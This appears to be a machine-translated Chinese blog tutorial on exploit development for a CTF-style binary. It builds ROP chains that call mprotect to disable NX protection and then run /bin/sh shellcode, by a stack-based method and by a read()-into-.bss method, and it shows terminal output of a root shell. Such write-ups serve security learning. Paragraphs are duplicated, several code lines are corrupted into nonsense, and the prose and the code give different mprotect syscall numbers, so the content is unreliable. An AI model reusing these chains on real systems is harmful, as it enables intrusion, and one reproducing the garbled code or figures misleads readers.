基於上個ROP exploit建立的,學習編寫ROP chains的另一種方法, 而不是using sys_execve to spawn a shell, 用sys_mprotect關掉NX保護, 並執行shellcode。
Mprotect()是一個設定記憶體區域存取權限的函數,它有3個參數; 起始位址、長度和掩碼,其中包含該記憶體區域的新權限。 要注意的是,起始位址必須是記憶體頁的開始。 可以從原始碼中獲取掩碼的值。 可以透過syscall呼叫mprotect(),參數設定如下;
EAX - 0x7B – sys_mprotect syscall number
EBX - Address of Memory to change (必須與頁面邊界對齊)
ECX - Length of memory to change
EDX - Mask of new permissions (READ|WRITE|EXECUTE is 0x07)
接下來要考慮的事情是打算如何編寫shellcode到選擇的位置,有一些選項,可能會或可能不會工作,取決於你試圖利用的環境;
為了獲得堆疊記憶體頁的位址和大小,使用gdb的info proc mappings指令;
如果將shellcode和最後一個gadget的最終回傳位址一起推入堆疊中。 理想情況下,最後一個返回地址應該是一個jmp esp,但這裡沒有這個選項,所以將使用硬編碼地址代替。
使用標準的/bin/sh shellcode進行測試;
雖然它可以工作,但它依賴於硬編碼的堆疊位址和NOP,所以並不是很好。
這不是寫大量資料的好方法,它在DWORD中表現得很好,但它增加的寫開銷非常大,寫50字節的shellcode需要超過200字節的payload。 可以使用syscall來建立一個新的任意寫原語,而不是將大量資料寫入單一緩衝區;
read()函數從檔案描述子(fd)取得數據,並將一些字元寫入指定的記憶體位置,其原型如下:
可以使用syscall number 0x03來呼叫read()函數,給它檔案描述子0來從stdin取得值,並將現在可執行記憶體位置設為目標,需要預先計算shellcode的長度,但這是很容易做到的。
最後,需要跳到新的shellcode
當呼叫這個新的exploit時,需要在exploit之後立即傳送payload,以便它在stdin緩衝區中等待read()函數。 把payload放到了一個單獨的檔案裡;
如果在本機上執行此操作,請記住將兩個cat命令用大括號括起來,否則它們將一起運行,您的payload將在堆疊中而不是在輸入緩衝區中結束。
另一個浪費了幾個小時時間的問題是,GDB不會更新記憶體段上的權限,所以如果認為mprotect失敗了,要嘛檢查strace中的回傳值,要嘛在syscall回傳時檢查EAX暫存器。 0表示成功完成。 直到開始嘗試執行NOPS進行測試,才意識到它表現得很好,儘管gdb說沒有在堆段上設定執行權限。
Mprotect()是一個設定記憶體區域存取權限的函數,它有3個參數; 起始位址、長度和掩碼,其中包含該記憶體區域的新權限。 要注意的是,起始位址必須是記憶體頁的開始。 可以從原始碼中獲取掩碼的值。 可以透過syscall呼叫mprotect(),參數設定如下;
EAX - 0x7B – sys_mprotect syscall number
EBX - Address of Memory to change (必須與頁面邊界對齊)
ECX - Length of memory to change
EDX - Mask of new permissions (READ|WRITE|EXECUTE is 0x07)
接下來要考慮的事情是打算如何編寫shellcode到選擇的位置,有一些選項,可能會或可能不會工作,取決於你試圖利用的環境;
- 將shellcode寫入堆疊,使用mprotect()使堆疊可執行,並直接跳到payload。
- 使用mprotect()使記憶體區域可寫入和可執行,然後使用另一種技術在跳到該位置之前將shellcode寫入該位置。
- 使用mprotect使一個記憶體區域可執行,並寫入一個stagger,它可以跳到另一個記憶體區域或從別處取得shellcode。
方法一
在所使用的範例中,沒有方便的gadeget來處理堆疊,理想情況下,希望使用JMP ESP gadget來處理在不同執行環境中移動的堆疊位址。事實上,必須使用硬編碼的堆疊位址,可能會有少量的nop,雖然足夠簡單,但這似乎不是一個特別優雅的exploit。為了獲得堆疊記憶體頁的位址和大小,使用gdb的info proc mappings指令;
1 2 3 4 5 6 7 8 9 10 11 12 13 | buffer += address(pop_eax) # place value into EAX buffer += littleendian(0x0000007D) # MProtect syscall number buffer += address(pop_ebx) # place value into EBX buffer += address(target_mvalue into EBX buffer += address( target_mvalue ) # place value into ECX buffer += littleendian(0x00021000) # Length of memory to change buffer += address(pop_edx) buffer + = littleendian(0x00000007) # PROT_READ|PROT_WRITE_T_UUUDs_U_UUsUU5_UUDsPROT_WRITEc__UEXECressS; |
如果將shellcode和最後一個gadget的最終回傳位址一起推入堆疊中。 理想情況下,最後一個返回地址應該是一個jmp esp,但這裡沒有這個選項,所以將使用硬編碼地址代替。
1 2 3 4 | ### Stack based Approach ### buffer += address(shellcode_location) # 0xFFFFD494 buffer += NOPS * 100 # 0x90 buffer += payload # shellcode |
使用標準的/bin/sh shellcode進行測試;
1 2 3 4 | (gdb) run < exploit Starting program: /root/binary_challenge < exploit Show me what you 've got :>You' ve got: XXXX%�}process 3077 is executing new program: /bin/dash # id uid=0( root) gid=0(root) groups =0(root |
雖然它可以工作,但它依賴於硬編碼的堆疊位址和NOP,所以並不是很好。
方法二
可以使用另一個write原語將shellcode寫入程式記憶體中的某個位置,而不是將shellcode寫入堆疊。 已經在.bss部分中找到了一個很好的候選位置,因此可以將target_memory變數設定為堆記憶體的起始位置0x0804A000。 現在必須決定如何開始寫作。 最簡單(也是最低效)的方法是使用從pop eax; pop edx; mov eax (edx)中建構的write-what-where原語gadget在我們的第一個exploit。這不是寫大量資料的好方法,它在DWORD中表現得很好,但它增加的寫開銷非常大,寫50字節的shellcode需要超過200字節的payload。 可以使用syscall來建立一個新的任意寫原語,而不是將大量資料寫入單一緩衝區;
read()函數從檔案描述子(fd)取得數據,並將一些字元寫入指定的記憶體位置,其原型如下:
1 | read (int fd, void *buf, size_t count); |
可以使用syscall number 0x03來呼叫read()函數,給它檔案描述子0來從stdin取得值,並將現在可執行記憶體位置設為目標,需要預先計算shellcode的長度,但這是很容易做到的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | ### Heap Based Approach ### buffer += address(pop_eax) buffer += littleendian(0x00000003) # sys_read syscall number buffer += address(pop_ebx) # first argument buffer += little += address(pop_ebx) # first argument buffer + = littledian00000file = address(pop_ecx) # second argument buffer += address(target_memory) # address to write to buffer += address(pop_edx) # third argument buffer += littleendian(len(payload)) # length of payload bufferute_ payress( # do the read() |
最後,需要跳到新的shellcode
1 2 | buffer += address(target_memory) # jump to the payload print (buffer) |
當呼叫這個新的exploit時,需要在exploit之後立即傳送payload,以便它在stdin緩衝區中等待read()函數。 把payload放到了一個單獨的檔案裡;
1 2 3 4 5 6 7 | root@kali:~ # (cat exploit; cat payload) | ./binary_challenge Show me what you've got :>You've got: XXXX%�} # # # id uid=0(root) gid=0(root ) groups =0(root) # exit |
如果在本機上執行此操作,請記住將兩個cat命令用大括號括起來,否則它們將一起運行,您的payload將在堆疊中而不是在輸入緩衝區中結束。
另一個浪費了幾個小時時間的問題是,GDB不會更新記憶體段上的權限,所以如果認為mprotect失敗了,要嘛檢查strace中的回傳值,要嘛在syscall回傳時檢查EAX暫存器。 0表示成功完成。 直到開始嘗試執行NOPS進行測試,才意識到它表現得很好,儘管gdb說沒有在堆段上設定執行權限。